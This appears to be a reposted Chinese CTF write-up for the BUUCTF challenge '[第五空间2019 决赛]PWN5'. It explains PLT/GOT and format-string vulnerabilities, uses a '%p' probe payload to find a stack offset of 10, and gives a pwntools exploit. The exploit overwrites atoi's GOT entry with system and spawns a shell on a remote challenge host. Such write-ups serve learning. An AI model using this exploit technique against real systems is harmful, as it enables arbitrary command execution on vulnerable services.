BUUCTF-PWN-[第五空间2019 决赛]PWN5

news2025/2/27 2:49:53

这题考到 格式化字符串的方法 我之前没有学过 根据wp写完这题去看看原理

下载打开环境

checksec看看

 发现有三个保护 nx打开 所以无法写入shellcode

现在看看ida32

 发现/bin/sh

进去看

发现就在主函数里面

我们进行代码审计 发现输入名字 他会返回名字 然后再输入密码 如果密码和unk_804c044一样 输出shellcode

我们看看这个函数是什么

搜索一下

 

 发现是随机数 这样我们就无法通过判断得到shellcode

我们现在又两个方法

1. 将atoi的判断变为system 然后手动输入/bin/sh

这样他就会在判断的时候进行执行shellcode

我们开始查找

在这之前我们需要了解 got和plt

 因为我们需要plt里面的shellcode进行执行 

plt和got是什么

这两个其实就是两个表 我们的函数进行执行

必须要通过这两个表去寻找 函数的真正地址 因为是经过

plt ->got ->plt ->存储函数地址的函数->atoi的真正地址

我们在执行atoi这个函数的前面 他不会给我们函数的地址 只有运行到这个函数了

他才会给函数进行分配地址

在第一次运行该函数的时候 他就会进行上述的操作

第二次就不会了

plt->got->atoi

直接就能找到

类似于中转站

继续做题

我们知道了plt和got

我们要如何构造呢

我们发现plt中存在system和atoi 

 而atoi又存在和我们输入的东西进行if判断

那如果我们在执行的时候 把atoi的got指向system的plt呢

atoi.plt->atoi.got->system.plt->函数->system

这样我们就得到system函数

如果我们输入了/bin/sh 那他就会执行

system('/bin/sh')

这样就成功了

但是有一个问题 我们利用这个是通过print函数的漏洞

我们输入的东西会在调用函数前先压入栈内 我们不知道我们该什么时候进行更改

所以我们需要计算出偏移量 这里就可以使用格式化字符串

格式化字符串

因为这个漏洞是通过print函数出现的

因为程序员的偷懒

print("%d",str)
print(str)

 这两种看似是一样的 但是第二种就很容易出现格式化字符串漏洞

因为没有对输出字符串进行规定

我们可以一直构造 %p来查看地址

例如

AAAA -%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

因为输出没有管理

所以他会把str 直接进行查找

查完AAAA 开始执行%p

%d 用于读取10进制数值

%x 用于读取16进制数值

%s 用于读取字符串值

%n 用于讲当前字符串的长度打印到var中,例 printf("test %hn",&var[其中var为两个字节]) printf("test %n",&var[其中var为一个字节])

%p

输出十六进制数据,区别是有前缀“0x”,实际上就是输出个指针,所以32位输出4字节,64位输出8字节

我们可以进行产生 看看有没有字符串漏洞的产生

 我的理解是这样的

 

我们发现 到4141414 有10个量 就是他从压入栈到执行 需要10个偏移量

所以我们

我们开始写exp

from pwn import *
p=remote('node4.buuoj.cn',25418)
elf=ELF('./pwn')
atoi_got=elf.got['atoi']
system_plf=elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plf})
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/427002.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MJ优质博主清单;把ChatGPT调教为英语私教;绝美SD Prompt手册;AgentGPT体验全记录;2项AI工具最强更新 | ShowMeAI日报

👀日报&周刊合集 | 🎡生产力工具与行业应用大全 | 🧡 点赞关注评论拜托啦! 🤖 『预测五年后的应聘场景』玩转机器人将是核心竞争优势 1. 你有多少个公用机器人(基本的机器人操作能力) 2. 你…

体验亚马逊云科技产品使用 AWS Amplify 构建和部署一个 Web 应用程序

前言如果你是IT从业者,会有一个非常明显的感觉,那就是上云已经成为了趋势。以前公司如果有什么互联网业务,都要自己买服务器,自建机房,或者搬到运营商的IDC机房里面去进行托管。但现在,大家都是找云服务器厂…

Java用IO实现简单的用户注册登录并玩猜数字小游戏demo

项目场景: 简单的用Java IO读写操作完整实现用户注册登录并玩猜数字小游戏案例。 (猜数字游戏:系统随机生成一位1-100之间的数字让用户猜,给出猜大了,猜小了,及第几次猜对了的提示) 分析&#…

Shell基础知识汇总

一、变量 1.变量的类型 变量根据作用范围的大小主要分为局部变量、全局变量、环境变量: (1)局部变量:在Shell脚本中的函数内显示使用local关键字定义的变量。其作用域局限于函数内,当local变量名与global变量名同名时…

激活函数高频面试题集合

激活函数激活函数的作用是什么?常用的激活函数Relu引入Relu的原因Relu顺序relu在零点可导吗,不可导如何进行反向传播?Geluleaky relu优点缺点softmaxsigmoid缺陷tanh缺点如何选择激活函数Bert、GPT、GPT2中用的激活函数是什么?为什…

我在chatgpt学习requestIdleCallback

react对接chatgpt,导入json形成记忆数据继续提问,想要私聊 [{"role": "user","content": "requestIdleCallback 怎么使用" }, {"role": "assistant","content": "requestI…

电子采购系统的优缺点分析及选型建议

在现今,电子采购系统的出现,为企业采购带来了全新的解决方案。它可以使采购过程更加自动化、高效化,减少采购成本和人力资源的浪费。本文将对电子采购系统的优缺点进行分析,并提供选型建议。 电子采购系统优点: 1、自…

(Linux) make/makefile的简单介绍以及使用

make和makefile的功能make和makefile的使用规则make和makefile的功能 什么是make和makefile,它有什么作用?我相信这是大部分人在刚接触make和makefile时疑惑。那我们就一起来看看它的答案吧。 make是一条命令,makefile是一个文件,两个搭配使…

基于ZC序列的帧同步

Zadoff-Chu序列是一种特殊的序列,具有良好的自相关性和很低的互相关性,这种性能可以被用来产生同步信号,作为对时间和频率的相关运算在TD-LTE系统中,Zadoff-Chu(ZC)序列主要应用于上行RS序列生成、PRACH前导序列生成以及主同步信号…

CIMCAI mature AI product, digital port intelligent port waterway

全球港航人工智能领军企业中集飞瞳CIMCAI,成熟港航人工智能产品全球领先,核心技术世界顶尖水平数字化港航自动化。全球集装箱人工智能AI领军企业CIMCAI中集飞瞳,全球航运港口高科技领军企业,率先将港口人工智能Ceaspectus™产品做…

python入门(六) opencv的安装,图片操作,绘制文字图形,视频操作

文章目录课程目标认识openCV如何安装openCVOpenCV 读取、缩放、翻转、写入图像读取图片缩放图片翻转图片写入图片openCV绘制图形和文字创建一个纯黑色的底图画一个矩形再画一个正方形再画一个圆形再画一个实心圆画一条线画多边形在真实的图片上加载图形在真实的图片上加载文字O…

创建菜单栏、菜单、菜单项

1、QMainWindow窗口 1.1、创建菜单栏 this 代表的是 当前窗口(主窗口),也就是 当前窗口中添加/设置 菜单栏 this->resize(800,600); //创建 菜单栏 QMenuBar *menuBar new QMenuBar(this); //将菜单栏 添加到主窗口的特殊位置 this-&g…

第12届蓝桥杯省赛真题剖析-2020年12月20日Scratch编程初级组

[导读]:超平老师的《Scratch蓝桥杯真题解析100讲》已经全部完成,后续会不定期解读蓝桥杯真题,这是Scratch蓝桥杯真题解析第123讲。 第12届蓝桥杯省赛举办了两次,这是2020年10月20日举行的第一次省赛初级组试题,比赛仍…

<STM32>STM32CubeMX-串口收发通信(DMA传输)(6)

<STM32>STM32CubeMX-串口收发通信(DMA传输)(6) 本节主要讲解串口DMA通信的功能,主要采用DMA接收数据的方式; DMA、串口的详细解说可参考《STM32F4XXX中文参考手册》,资料有详细的讲解和说明&am…

【机器视觉------标定篇(二)】三点成圆算法(求相机旋转中心)

应用场景 机器视觉项目应用中,相机安装在机器人上,并且需要定位产品返回坐标偏差以及角度偏差。 与九点标定配合使用,实现精准角度补偿。 算法输入 不共线的三点坐标 A(X₁,Y₁) ,B(X₂,Y₂&…

关于加解密方法报错java.security.InvalidKeyException: Illegal key size

1、找到自己的jdk安装路径下去; 2、找到java.security查看是否存在#crypto.policyunlimited,如果有把该#号去掉,注释打开; 3、若java.security文件中不存在#crypto.policyunlimited,则应该去从官网下载jce策略文件(补丁…

springboot+vue旧物置换网站(完整源码+文档)

风定落花生,歌声逐流水,大家好我是风歌,混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的旧物置换网站。项目源码请联系风歌,文末附上联系信息 。 目前有各类成品java毕设,需要请看文末联系方式 。ja…

Python|基于粒子群和遗传算法的微电网优化调度

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

Hadoop2.0伪分布式平台环境搭建

一、搭建环境的前提条件 环境:ubuntu-16.04 hadoop-2.6.0 jdk1.8.0_161。这里的环境不一定需要和我一样,基本版本差不多都ok的,所需安装包和压缩包自行下载即可。 因为这里是配置Hadoop的教程,配置Java以及安装VMware Tools就自行…

为什么2017年之后操作系统仍将扮演重要角色?

操作系统的历史虽然不像计算科学那么久远,但却也已经拥有相当可观的发展历程。大型机客户于上世纪五十年代末编写了第一批操作系统,这些系统直到数十年后的今天仍拥有相当的知名度——其中包括来自IBM公司的OS/360以及贝尔实验室打造的Unix。 在可预期的…